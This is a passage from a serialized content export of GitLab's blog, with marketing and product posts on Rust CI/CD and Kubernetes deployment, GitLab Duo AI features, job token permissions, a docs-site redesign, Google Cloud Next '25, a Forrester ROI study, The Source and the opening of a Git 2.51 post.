output:\n\n![Pages build](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/go0tmljjzoxq5bujsdbv.png)\n\n## Deploy anywhere\n\nOne of GitLab's greatest strengths is its infrastructure-agnostic approach to deployment.\nWhether your organization runs on traditional on-premises servers, modern cloud platforms,\nhybrid environments, or edge computing infrastructure, GitLab's CI/CD system can deploy Rust\napplications seamlessly across any target environment.\n\nGitLab's deployment flexibility stems from its container-first approach and extensive integration\necosystem. The platform supports deployment to virtually any infrastructure that can run\ncontainers, virtual machines, or bare-metal applications. This versatility is particularly\nvaluable for Rust applications, which often need to run in diverse environments ranging from\nresource-constrained embedded systems to high-performance cloud clusters.\n\n### Kubernetes deployment\n\nGitLab simplifies Kubernetes deployments by providing built-in cluster integration and\npre-configured Docker images that include essential tools like Helm and kubectl, eliminating\nthe need for developers to set up complex deployment environments.\n\n```yaml\n# Deploy application to Kubernetes cluster\ndeploy:kubernetes:\n  stage: deploy                                          # Execute during deploy stage\n  image: registry.gitlab.com/gitlab-org/cluster-integration/helm-install-image:helm-3.10.0-kube-1.24.6-alpine-3.15  # Image with Helm and kubectl\n  variables:\n    HELM_HOST: \"localhost:44134\"                         # Helm host configuration\n    HELM_DEPLOY_NAME: mortgage-calc-$CI_COMMIT_REF_NAME  # Deployment name based on branch\n    HELM_DEPLOY_NAMESPACE: calc-app                      # Kubernetes namespace for deployment\n    KUBE_CONTEXT: $CI_PROJECT_PATH:rust-mortgage-calculator  # Kubernetes context to use\n  script:\n    - kubectl config use-context $KUBE_CONTEXT          # Set the kubectl context\n    # Deploy using Helm with custom values and Docker image\n    - helm upgrade --install $HELM_DEPLOY_NAME chart -f chart/values.yaml\n      --namespace $HELM_DEPLOY_NAMESPACE\n      --create-namespace\n      --set image=$DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG\n      --set calc.name=$HELM_DEPLOY_NAME \n  needs:\n    - package:docker                                     # Depends on Docker image being available\n```\n\nThis GitLab CI configuration defines one deployment job `deploy:kubernetes` that uses Helm to deploy the\nmortgage calculator application to a Kubernetes cluster, creating or upgrading the deployment in a\ndedicated namespace while using the Docker image built in the previous packaging stage.\n\n![Kubernetes output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/bgmbh4qyfxcnnlqvsitc.png)\n\n## GitLab Duo AI features\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI features provide significant advantages for Rust development by offering intelligent code\nsuggestions and explanations specifically tailored to the language's unique syntax and patterns.\n\nThe GitLab platform supports Rust as one of its [directly-supported languages](https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#supported-languages-by-ide) for every IDE, ensuring high-quality code completion and generation\nthat understands Rust's ownership model, memory safety principles, and idiomatic patterns. \n\n### GitLab Duo Code Suggestions\n\nGitLab Duo's ability to provide contextual code suggestions while typing helps developers navigate Rust's\nsometimes complex syntax more efficiently, reducing the learning curve for newcomers and accelerating\nproductivity for experienced developers.\n\n![Code Suggestions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/uvy6hmzvyd0mnqeic9tq.png)\n\n### GitLab Duo Chat\n\n[GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) complements the code suggestions by offering conversational assistance for explaining\nRust code sections, debugging compiler errors, and providing guidance on best practices. This is\nparticularly valuable in Rust development where compiler error messages, while helpful, can\nsometimes be overwhelming for developers transitioning from other languages. The AI can help interpret\nRust's detailed error messages and suggest fixes, making the development process more efficient by\nreducing the time spent deciphering compilation issues.\n\n![GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/depxztu1h89bez3ylwk3.png)\n\nGitLab Duo Chat can also be used directly from Vulnerability Report to explain a vulnerability. GitLab Duo [Vulnerability Explanation](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) represents a\nsignificant advancement in making application security more accessible and actionable for development teams. Rather than simply flagging potential issues with\ncryptic error codes. or technical jargon, AI breaks down each vulnerability's nature, potential impact, and remediation steps in terms that developers at\nall skill levels can quickly grasp. This democratization of security knowledge accelerates the remediation process, reduces the back-and-forth between security\nand development teams, and ultimately helps organizations ship more secure code faster:\n\n![Vulnerability Explain 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/rrcenbfazhhulmrp99yx.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405094/b3o4lkexyn9lp41ib8ye.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405095/y56wq8j5tg10t4dgbgfq.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/mpc1mst4ydijpqdtlljm.png)\n\u003Cp>\u003C/p>\n\nGitLab Duo also provides [Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/), which serves as an intelligent development companion for Rust\napplications, offering context-aware assistance throughout the entire development lifecycle. Developers\ncan leverage its conversational interface to generate Rust code snippets, scaffold new Rust projects with\nappropriate `Cargo.toml` configurations, and much more.\n\n### GitLab Duo Vulnerability Resolution\n\nGitLab Duo [Vulnerability Resolution](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) uses AI to automatically generate specific code fixes for detected\nsecurity issues, dramatically reducing remediation time from hours to minutes. AI analyzes vulnerable code patterns\nand proposes precise patches tailored to the project's context, language, and dependencies while maintaining code\nfunctionality and style consistency. This automation is particularly effective for common vulnerabilities like SQL\ninjection and cross-site scripting, enabling development teams to maintain velocity while significantly improving their\nsecurity posture without disrupting the development workflow.\n\n![Duo Remediate Example 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/blpwclp68igekkecbyna.png)\n\u003Cp>\u003C/p>\n\n![Duo Remediate Example 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/avvncsspwyirtk14jdbe.png)\n\u003Cp>\u003C/p>\n\n### GitLab Duo Code Review\n\nGitLab Duo's [AI-powered code review](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) enhances the development process by providing intelligent, automated feedback on\nMRs before human reviewers engage. AI analyzes code changes for potential bugs, security vulnerabilities,\nperformance issues, and adherence to coding standards, offering contextual suggestions and explanations that help developers\ncatch issues early. By augmenting traditional peer reviews with consistent, immediate AI insights, this feature reduces\nthe burden on senior developers, accelerates the review cycle, and ensures that basic quality checks are consistently\napplied across all code contributions, ultimately improving code quality while allowing human reviewers to focus on\nhigher-level architectural and business logic concerns.\n\n![Duo Code Review 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/hewxrp2f22mf2fe4daaa.png)\n\u003Cp>\u003C/p>\n\n![Duo Code Review 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/qbw1gi0l4ngysnyjwoy8.png)\n\u003Cp>\u003C/p>\n\nThese are just some of the AI feautures that can be used to allow you to ship more secure Rust software faster than ever.\nTo learn about all the GitLab AI features provided, visit the [GitLab Duo solution page](https://about.gitlab.com/gitlab-duo/).\n\n## The GitLab advantage for Rust\n\nGitLab provides a complete development platform that matches Rust's comprehensive approach:\n\n**Integrated Workflow:**\n- **Single Platform:** Code, CI/CD, security, and deployment in one place\n- **Rust-optimized:** Docker-based builds perfect for Rust's toolchain\n- **Security First:** Built-in security scanning\n- **Enterprise-ready:** Scalable infrastructure for large teams\n\n**Performance Benefits:**\n- **Efficient Caching:** Speeds up Rust's longer compilation times\n- **Parallel Builds:** Maximizes GitLab Runner efficiency\n- **Artifact Management:** Streamlined binary distribution\n\n**Developer Experience:**\n- **Familiar Tools:** Leverage standard Rust tooling (Cargo, Clippy, rustfmt)\n- **Visual Feedback:** Comprehensive dashboards and reporting\n- **Automation:** Reduces manual deployment and testing overhead\n- **GitLab Duo AI:** Ship more secure software faster with AI throughout the entire software development lifecycle\n\nGitLab's platform capabilities perfectly complement Rust's strengths, creating an ecosystem\nwhere safety, performance, and developer productivity converge. Rust applications on GitLab\nrepresent the cutting edge of software development—powered by a platform that understands and\nenhances the Rust development experience.\n\nTo learn more about the benefits of GitLab, sign up for a [free trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/).\n",{"content":995,"config":1005},{"title":996,"description":997,"authors":998,"heroImage":1001,"date":1002,"category":734,"tags":1003,"body":1004},"Fine-grained permissions for job tokens is now GA","GitLab now allows the use of fine-grained permissions for CI/CD job tokens, enhancing the security of your software supply chain.",[999,1000],"Alex Mark","Joe Randazzo","blog/hero%20images/workflow_1800x945.png","2025-08-26",[269],"[CI/CD](https://about.gitlab.com/topics/ci-cd/) pipelines often inherit overprivileged permissions from user accounts, creating significant security risks if pipelines are compromised or tokens are leaked. [GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/) introduces fine-grained permissions for job tokens to solve this problem, moving this security enhancement from Beta to GA.\n\nThis capability allows maintainers to implement granular permissions that control job token access to API resources. Following the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), these job tokens have no ability to access any API resources until you explicitly grant them permissions.\n\nThis initial release includes fine-grained permissions for the following resources:\n\n* Repositories\n* Deployments\n* Environments\n* Jobs\n* Packages\n* Pipelines\n* Releases\n* Secure Files\n* Terraform State\n\nAdditional API endpoints are planned for future releases. For more information, see the [associated epic](https://gitlab.com/groups/gitlab-org/-/epics/6310).\n\n![fine-grained permissions example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png)\n\n## The bigger picture\n\nThis release represents a critical step in GitLab's broader mission to improve your software supply chain security. Historically, job tokens have been bound to the user running the pipeline, inheriting their privileges and creating security risks if pipelines are compromised.\n\nFine-grained permissions for job tokens provide a foundation for a more secure CI/CD ecosystem that:\n\n* **Reduces attack surface**: Implements the principle of least privilege by limiting access to only necessary resources\n* **Eliminates dependency on long-lived tokens**: Provides a secure alternative that reduces the need for personal access tokens and other persistent credentials\n* **Prepares for machine-based identity**: This opt-in approach lays the groundwork for eventually decoupling job tokens from user identities entirely, moving toward true machine-to-machine authentication\n* **Enables secure automation at scale**: Supports complex deployment workflows and CI/CD components without compromising security\n\n## Getting started\n\nSecurity teams and DevOps engineers should evaluate this feature for any projects running automated deployments, package publishing, or infrastructure management. Since this is an opt-in capability, you can migrate gradually to minimize disruption to your existing pipelines.\n\nStart by identifying your most critical pipelines and auditing their current permission requirements. Then enable fine-grained permissions and configure the minimal access needed for each project. For more information, see the [documentation on fine-grained permissions for CI/CD job tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/).",{"slug":1006,"featured":6,"template":798},"fine-grained-job-tokens-ga",{"config":1008,"content":1010},{"slug":1009,"featured":6,"template":798},"docs-site-design-overhaul",{"title":1011,"description":1012,"authors":1013,"heroImage":1001,"date":1017,"category":734,"tags":1018,"body":1019},"The GitLab documentation site gets a major design overhaul","Learn about the features of our newly designed product documentation site, which includes an easy way to provide feedback and the much-requested dark mode.",[1014,1015,1016],"Suzanne Selhorn","Sarah German","Julia Miocene","2025-08-20",[269],"The GitLab documentation site now has a completely updated look-and-feel.\nWhat started as a request for targeted design fixes grew into a comprehensive redesign that delivers five major improvements:\n\n## Top five new features\n\n**Dark mode**: The most requested feature is finally here. Toggle between light and dark themes in the upper-right corner\nfor improved readability and reduced eye strain.\n\n**Brand alignment**: Our docs now reflect the modern colors and design language of both the GitLab marketing site and product UI,\ncreating a cohesive experience across all GitLab properties.\n\n**Simplified feedback**: Users can now give thumbs up/down feedback and add comments directly on any documentation page.\n\n**Redesigned navigation**: We've moved primary navigation to the top and restructured our left sidebar to make our 2,300+ pages\nfeel less overwhelming and more discoverable.\n\n**Addressed technical debt**: Dozens of small but impactful fixes to typography, spacing, code blocks, and visual inconsistencies\nthat had accumulated over the years.\n\n## Why now? The foundation for change\n\nEarlier this year, led by Sarah German, our documentation engineering team completed a critical replatforming project,\nmigrating from Nanoc to Hugo. While largely invisible to users, this change delivered dramatic performance improvements — 130x faster local builds\nand 30x faster full builds — and provided the solid technical foundation needed for these improvements.\n\nThis replatforming was essential groundwork that enabled us to focus on user experience enhancements rather than wrestling with outdated infrastructure.\n\nLet's look more closely at the changes.\n\n### Dark mode\n\nPossibly the biggest news for this release: dark mode is now available across the entire documentation site.\nChange the setting in the upper-right corner, and the site will remember your preference.\nFor many users, dark mode makes content easier to read and reduces eye strain.\n\n![image of dark mode](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png)\n\n### Brand alignment with marketing site\n\nThe new design creates visual harmony between our documentation and the broader GitLab experience.\nWe've incorporated GitLab's modern color palette and design elements while maintaining the clean, functional feel users expect from technical documentation.\n\n![image of new homepage](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617230/ialfadj3i3theizk08p5.png)\n\nThe updated homepage focuses on our primary documentation areas, including tutorials and getting started guides that help new users learn GitLab.\n\n### Simplified feedback mechanism\n\nWe've eliminated friction in the feedback process. Instead of requiring users to leave the docs site and create GitLab issues,\nthey can now provide immediate feedback with thumbs up/down ratings and comments directly on any page.\nScroll down on any documentation page to see this new functionality in action.\n\n![image of feedback area](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png)\n\n### Navigation redesign\n\nOne of our biggest challenges was organizing over 2,300 pages in a way that doesn't overwhelm users.\nOur previous single left navigation, while comprehensive, created a daunting experience:\n\n![image of former navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png)\n\nThe new approach moves primary navigation to the top, creating shorter, more manageable table of contents sections that feel less overwhelming to traverse:\n\n![image of new navigation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png)\n\nThis structure better reflects the relationships between features while making individual sections more digestible.\n\n### Style updates and technical debt\n\nOver the years, small style inconsistencies had accumulated — inconsistent padding in lists, extra spacing around alerts, and various typography issues.\nWhile these might seem minor, they created a subtly jarring experience for daily users.\n\nOur tabs and code blocks received particular attention, becoming better-defined in the process.\n\nBefore, tabs with code looked like this:\n\n![image of old tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png)\n\nAnd now, with a few small tweaks, they look like this:\n\n![image of new tabs with code block](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png)\n\nThese \"papercut\" fixes may be small individually, but collectively they create a much more polished, professional experience.\n\n## What's next?\n\nThis redesign represents how we iterate at GitLab — shipping meaningful improvements while building toward an even better future.\nWe expect to continue refining the structure and adding features that help users find what they need more easily.\n\nUser feedback will drive our next iterations, and with our new simplified feedback mechanism, we're better positioned than ever\nto hear directly from our documentation users.\n\n## The team\n\nThis transformation was a true team effort. Kudos to UX Papercuts and Julia Miocene for taking what started as a simple request and turning\nit into a comprehensive design vision. Thanks to the engineers in Technical Writing: Sarah German, Pearl Latteier,\nand Hiru Fernando, who brought these designs to life.\n\nThe new design balances information density with visual clarity, modernizes our site while maintaining usability and accessibility standards,\nand represents a significant step forward in both user experience and visual design.\n",{"category":741,"slug":745,"posts":1021},[1022,1035,1048],{"content":1023,"config":1033},{"title":1024,"description":1025,"authors":1026,"heroImage":1028,"date":1029,"body":1030,"category":745,"tags":1031},"GitLab at Next '25: Transforming app modernization","GitLab participated in Google Cloud Next ‘25 and received a fifth consecutive Google Cloud Technology Partner of the Year recognition.",[1027],"Regnard Raquedan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2025-04-11","GitLab's presence at Google Cloud Next '25 highlighted our strong partnership with Google Cloud and our joint commitment to accelerating software development and delivery. We were recognized again as a Technology Partner of the Year, and included in key enterprise initiatives like Google Distributed Cloud (GDC) Build Partners and [Startup Perks from Google Cloud](https://cloud.google.com/blog/topics/startups/why-global-startups-are-gathering-at-google-cloud-next25?e=13802955). Our team members demonstrated for attendees how GitLab is positioned to be a critical DevSecOps service for Google Cloud customers.\n\n## Continuing our award-winning partnership excellence\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175937/Blog/nempa4yvfutedz3fpuxx.jpg\" alt=\"GitLab team at Google Cloud Next '25\" align=\"left\" width=\"400px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nWe're thrilled to announce that GitLab has once again been named a [Google Cloud Technology Partner of the Year award winner](https://about.gitlab.com/press/releases/2025-04-08-gitlab-wins-a-google-cloud-technology-partner-of-the-year-award-for-devops/), marking our fifth consecutive time receiving this prestigious honor. This remarkable achievement reaffirms our position as Google Cloud's primary DevOps partner, consistently delivering exceptional value year after year. The continued recognition highlights how our collaboration with Google Cloud creates tangible business outcomes for customers, enabling organizations across industries to build, secure, and deploy applications with efficiency and confidence.\n\n## Google Distributed Cloud: DevSecOps for highly regulated environments\n\nAnother significant milestone announced at Next '25 was GitLab's \"Google Cloud Ready - Distributed Cloud\" certification. This designation enables organizations to implement GitLab in air-gapped environments, addressing critical security and compliance requirements.\n\nAs an end-to-end DevSecOps solution available on Google Distributed Cloud, GitLab enables sovereign development and operations for workloads critical to national security and regulatory compliance. This integration is particularly valuable for government agencies and financial institutions that require the highest levels of data sovereignty while maintaining modern development practices.\n\n## GitLab perks for Google Startups\n\nGitLab is a Featured Partner of the new Startup Perks program from Google Cloud. This partnership ties up with our own [GitLab for Startups](https://about.gitlab.com/solutions/startups/google-cloud/) and is meant to jumpstart new tech ventures with key DevSecOps capabilities that can help with fast growth and scaling.\n\nAs one of the [Featured Perks partners](https://cloud.google.com/startup/perks), eligible startups can get free or discounted access to one year of [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) for 20 licenses. For seed or early stage startups, this benefit can help ensure collaboration, efficiency, and security without sacrificing speed and agility.\n\n## Thoughts from the dais\n\nGitLab experts shared valuable insights across multiple speaking sessions at Next '25, delivering practical knowledge on AI-powered DevSecOps, platform engineering, and cloud application delivery:\n\n* __[AI DevOps panel](https://cloud.withgoogle.com/next/25/session-library?session=BRK2-163&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Mike Flouton, GitLab Vice President of Product Management, joined industry leaders to discuss how AI code assist tools boost productivity while enhancing application performance.\n\n* __[Software Logistics - The Missing Link in Modern Platform Engineering](https://cloud.withgoogle.com/next/25/session-library?session=CT2-16&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ GitLab Field CTO Lee Faus explored how effective software logistics create the foundation for successful platform engineering initiatives.\n\n* __[Revolutionizing Cloud Application Delivery with Intelligent Agents](https://cloud.withgoogle.com/next/25/session-library?session=CT2-17&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Faus also demonstrated how intelligent agents are transforming cloud application delivery pipelines.\n\n## Engaging attendees across Next '25\n\nIn addition to our speaking sessions, GitLab maintained a strong presence throughout Next '25. At our booth #2170 on the expo floor, our team engaged with hundreds of attendees through demonstrations and lightning talks featuring both GitLab experts and partners like Arctiq and SADA.\n\nThe Google Cloud Makerspace's Dev Tools Pantry became a hub of innovation and collaboration. John Coghlan, Director of Developer Advocacy, observed: \"It was great to connect with many GitLab and Google Cloud customers in the Dev Tools Pantry in the Makerspace. We loved seeing the creative solutions that people came up with around developer experience and simplified deployments using GitLab and Google Cloud as their ingredients.\"\n\nThese hands-on experiences showcased how GitLab's DevSecOps solutions integrate well with Google Cloud services, with our AI-powered capabilities demonstrations drawing particular interest from attendees looking to enhance developer productivity and application security.\n\n## GitLab and Google Cloud: Transforming the future together\n\nThe energy witnessed at Next '25 exemplifies why GitLab and Google Cloud make such powerful partners. Together, we help organizations to transform how they build, secure, and deploy applications through:\n\n* AI-assisted development capabilities and collaborative workflows that can help accelerate innovation in Google Cloud environments\n\n* Shift-left security approach that integrates with Google Cloud's security-first architecture to identify vulnerabilities early in the development lifecycle\n\n* Flexible deployment options and comprehensive observability that work harmoniously with Google Cloud infrastructure to help streamline operations\n\nAs demonstrated at Next '25, the GitLab and Google Cloud partnership delivers tangible advantages for development teams facing real-world challenges – whether accelerating AI adoption, strengthening security in regulated environments, or streamlining complex deployment pipelines. The technical integration points and customer success stories shared throughout the event underscore that this collaboration continues to produce practical solutions that matter.\n\n> #### Discover how GitLab and Google Cloud can transform your application development experience at [GitLab's Google Cloud partnership page](https://about.gitlab.com/partners/technology-partners/google-cloud-platform/).",[1032,486,279,284,745],"google",{"slug":1034,"featured":6,"template":798},"gitlab-at-next-25-transforming-app-modernization",{"content":1036,"config":1046},{"title":1037,"description":1038,"authors":1039,"heroImage":1041,"date":1042,"body":1043,"category":745,"tags":1044},"GitLab Ultimate's total economic impact: 483% ROI over 3 years","A Forrester Consulting study of GitLab Ultimate finds that the DevSecOps platform enhanced security posture with 5x time saved on security-related activities.\n",[1040],"Dave Steer","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2024-11-13","A powerful DevSecOps platform streamlines operations, prevents security vulnerabilities from disrupting (and costing) your business, increases productivity, and fosters a culture of innovation and collaboration. That's exactly what we built GitLab to do, and our Ultimate tier represents the full power of our platform. To see the real-world results, we commissioned Forrester Consulting to create a “Total Economic Impact™ of GitLab Ultimate” study. Here’s what we discovered at a glance. \n\nAccording to the study, for a composite organization based on interviewed customers, GitLab delivered:  \n\n* **Three-year ROI of 483%**  \n* **400% improvement in developer productivity**  \n* **15x faster time to first release\u003Csup>1\u003C/sup>**  \n* **5x time saved on security-related activities**\n\n**Overall, GitLab enables 50% more work with business value.** \n\nThe numbers tell a clear story: GitLab's platform transforms how teams work together. Whether you’re an application security lead tasked with improving the company’s security posture, a developer looking to deliver high-quality code faster, or a CTO looking for a scalable, secure, and flexible DevSecOps platform, this study (see full methodology below) shows that GitLab Ultimate delivers. Let’s break down the results.  \n\n> Download the full [2024 Forrester Consulting “Total Economic Impact of GitLab Ultimate” study](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## **1\\. Three-year ROI of 483%**\n\n*“The big win for us was efficiency — both in administration and in overall operations. Now, everyone can work collaboratively, and we can easily automate our pipeline. I’m also able to move personnel around to complete different tasks more efficiently. Rather than needing to train on different tools across programs, now it’s just ‘learn GitLab,’ and they’re ready to begin working.”* - CTO and Senior Vice President, Defense industry\n\nThe study found that teams started seeing payback within six months of implementing GitLab Ultimate, primarily through improved efficiency. With a **483% ROI over three years**, organizations reduced their software toolchain costs by 25% and cut the time IT teams spent on administering complex toolchains by 75%. Beyond the cost savings, moving to a unified platform fundamentally improves how teams develop and deliver software.\n\n## **2\\. 400% improvement in productivity**\n\n*“When I have conversations about GitLab with our developers, they universally agree that it has increased productivity at our organization across teams and roles. We now have one platform that has functions that everyone can use.”* - Software architect, Energy/Research industry\n\nDevelopers thrive in environments where they can easily switch between tasks without losing momentum. According to the study, developers can reclaim up to 305 hours per year by using [testing automation](https://about.gitlab.com/topics/devops/devops-test-automation/) within GitLab to help them test more frequently and track and fix bugs faster, all within a single interface with no context switching. This streamlined workflow allows them to focus on coding rather than juggling multiple tools and processes.\n\nThe productivity gains extend to onboarding, too: new hires in the composite organization’s software development team ramped up to full productivity 75% faster (i.e., in 1.5 weeks instead of 1.5 months). The impact is clear: Everyone on the team can contribute meaningful work sooner. \n\n## **3\\. 15x faster time to first release**\n\n*“Our superpower is software. It’s measured in terms of velocity and the ability to get new capabilities into the hands of our customers. For that to remain our primary focus, it just made economic sense to \\[consolidate\\] onto a single platform.”* - CTO and Senior Vice President, Defense industry\n\nThe summary data from the customer interviews reveals that GitLab enables organizations to accelerate first production release by 15 times. This boost is achieved through faster project initiation, more frequent software releases, and a proactive approach to security that natively integrates security scans into the development process from the outset. Even with this increase in velocity, software quality, and security remain at the same high levels, thanks to developers' ability to fix issues early and quickly. \n\nWith [security built directly into the development process](https://about.gitlab.com/solutions/security-compliance/), developers can identify, prioritize, and remediate vulnerabilities without disrupting their flow. This unified approach to managing the entire software development lifecycle means teams can move faster without compromising on security.\n\n## **4\\. 5x time saved on security-related activities**\n\n*“Integrating security and quality scanners into the pipeline was a game changer for us. With more automation and less manual work, we’re seeing fewer failures, fewer problems, and faster progress.”* - Program Manager, Finance industry \n\nSecurity is top-of-mind for every organization, as development speeds up and threats keep evolving. GitLab saves security team members in the composite organization **78 hours per member per year** by automating recurring tasks like disaster recovery prep, auditing, and compliance checks. GitLab also improves visibility into software development processes, helping security and development teams work together more efficiently.  \n\nCybersecurity and software development teams at the composite organization **managed and mitigated security risks throughout the software development lifecycle with 81% less effort.** This is because GitLab enabled them to integrate security protocols and scans throughout all stages of the software development lifecycle, simplifying how they maintain stringent security standards. As security testing and remediation are built into pipelines, teams reduce average response times and the risk of issues reaching production. \n\n# **Experience DevSecOps in action**\n\nWith a 483% ROI, a rapid payback period, and countless success stories, GitLab is an invaluable tool for enterprises looking to transform their software development processes.\n\n> To explore how GitLab can benefit your organization, download the full [Forrester Consulting “Total Economic Impact of GitLab Ultimate” study today](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Methodology**  \n*For the study, Forrester interviewed four GitLab Ultimate customers across industries, including finance, defense, and research, and created a composite organization to represent the aggregated results of these interviews. The composite organization is expected to adopt GitLab Ultimate across all teams in a three-year period.*\n\n*The composite organization is a $5 billion company with 5,000 employees, with 40% involved in software delivery and 50% of annual revenue driven by software development. Their goals are to consolidate multiple tools into a single, integrated platform, enhance developer productivity, ensure compliance with industry regulations and internal policies, and strengthen security throughout the development lifecycle.*\n\n*1. Based on summary data from customer interviews; not applicable to the composite organization results.*",[486,1045,745,776],"research",{"slug":1047,"featured":91,"template":798},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"content":1049,"config":1058},{"title":1050,"description":1051,"authors":1052,"heroImage":1054,"date":1055,"body":1056,"category":745,"tags":1057},"Introducing The Source: Insights for the future of software development","Explore our new publication for transformative software development strategies and expert advice on emerging technologies.",[1053],"Chandler Gibbons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674616/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","2024-10-29","Modern software development is transforming the way organizations create, deliver, and scale business value. Teams must be able to build solutions quickly and efficiently while navigating rising security threats, emerging technologies, and increasingly complex compliance demands.\n\nToday, GitLab is launching [The Source](https://about.gitlab.com/the-source/), a new publication that covers the evolution of software development as an engine for business success. We offer regular insights into the future of software development, supported by original research and analysis from our subject matter experts and thought leaders.\n\nOn The Source, you will find answers to questions such as:\n* How can leaders measure the ROI of AI across the software development lifecycle?\n* What’s the best way to ensure security and compliance across the entire software supply chain?\n* What types of efficiencies will teams see from platform and toolchain consolidation?\n\nHere’s a sample of what's on The Source today:\n\n**4 steps for measuring the impact of AI**\n\n\"Evaluating the productivity of AI-enhanced coding requires a more nuanced approach than traditional metrics such as lines of code, code commits, or task completion. It necessitates shifting the focus to real-world business outcomes that balance development speed, software quality, and security.\"\n- [Learn the 4 steps from AI expert Taylor McCaslin.](https://about.gitlab.com/the-source/ai/4-steps-for-measuring-the-impact-of-ai/)\n\n**Addressing the root cause of common security frustrations**\n\n\"DevSecOps promises better integration between engineering and security, but it’s clear that frustrations and misalignment persist. That’s because these challenges are symptoms of a larger problem with how organizations view security, as well as how teams work together and how they allocate time to security.\"\n- [Solve this disconnect with expert advice from GitLab CISO Josh Lemos.](https://about.gitlab.com/the-source/security/security-its-more-than-culture-addressing-the-root-cause-of-common-security/)\n\n**Driving business results with platform engineering**\n\n\"Platform engineering aims to normalize and standardize developer workflows by providing developers with optimized 'golden paths' for most of their workloads and flexibility to define exceptions for the rest.\"\n- [Discover GitLab Field CTO Brian Wald's best practices for platform engineering success.](https://about.gitlab.com/the-source/platform/driving-business-results-with-platform-engineering/)\n\n## Make The Source your decision-making partner\n\nVisit [The Source](https://about.gitlab.com/the-source/) today to explore the latest insights, get answers to your leadership questions, and learn something new to share with your teams. You can also subscribe to our newsletter for regular updates directly to your inbox. Join our community of forward-thinking technology leaders and help shape the future of software development.",[684,776,745,718],{"slug":1059,"featured":91,"template":798},"introducing-the-source-insights-for-the-future-of-software-development",{"category":752,"slug":756,"posts":1061},[1062,1075,1088],{"content":1063,"config":1073},{"title":1064,"description":1065,"authors":1066,"heroImage":1068,"date":1069,"body":1070,"category":756,"tags":1071},"What’s new in Git 2.51.0?","Learn about the latest contributions from GitLab's Git team and the Git community, including performance optimizations for git-push(1) and git-fetch(1).",[1067],"Karthik Nayak","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","2025-08-18","The Git project recently released [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u).\nDue to summer in the Northern Hemisphere and slower progress, this\nrelease cycle was on the shorter side of 8 weeks (typically a release cycle\nlasts about 12 weeks). Let’s look at some notable changes in this release,\nincluding contributions from the Git team at GitLab and also the wider Git\ncommunity.\n\n\n## Performance optimizations for `git-push(1)` and `git-fetch(1)`\n\n\nThe `git-push(1)` and `git-fetch(1)` commands allow users to synchronize local and remote repositories. Part of the operation involves updating references in the repository. In repositories with many references, this can take significant time, especially for users who work with large development environments, monorepos, or 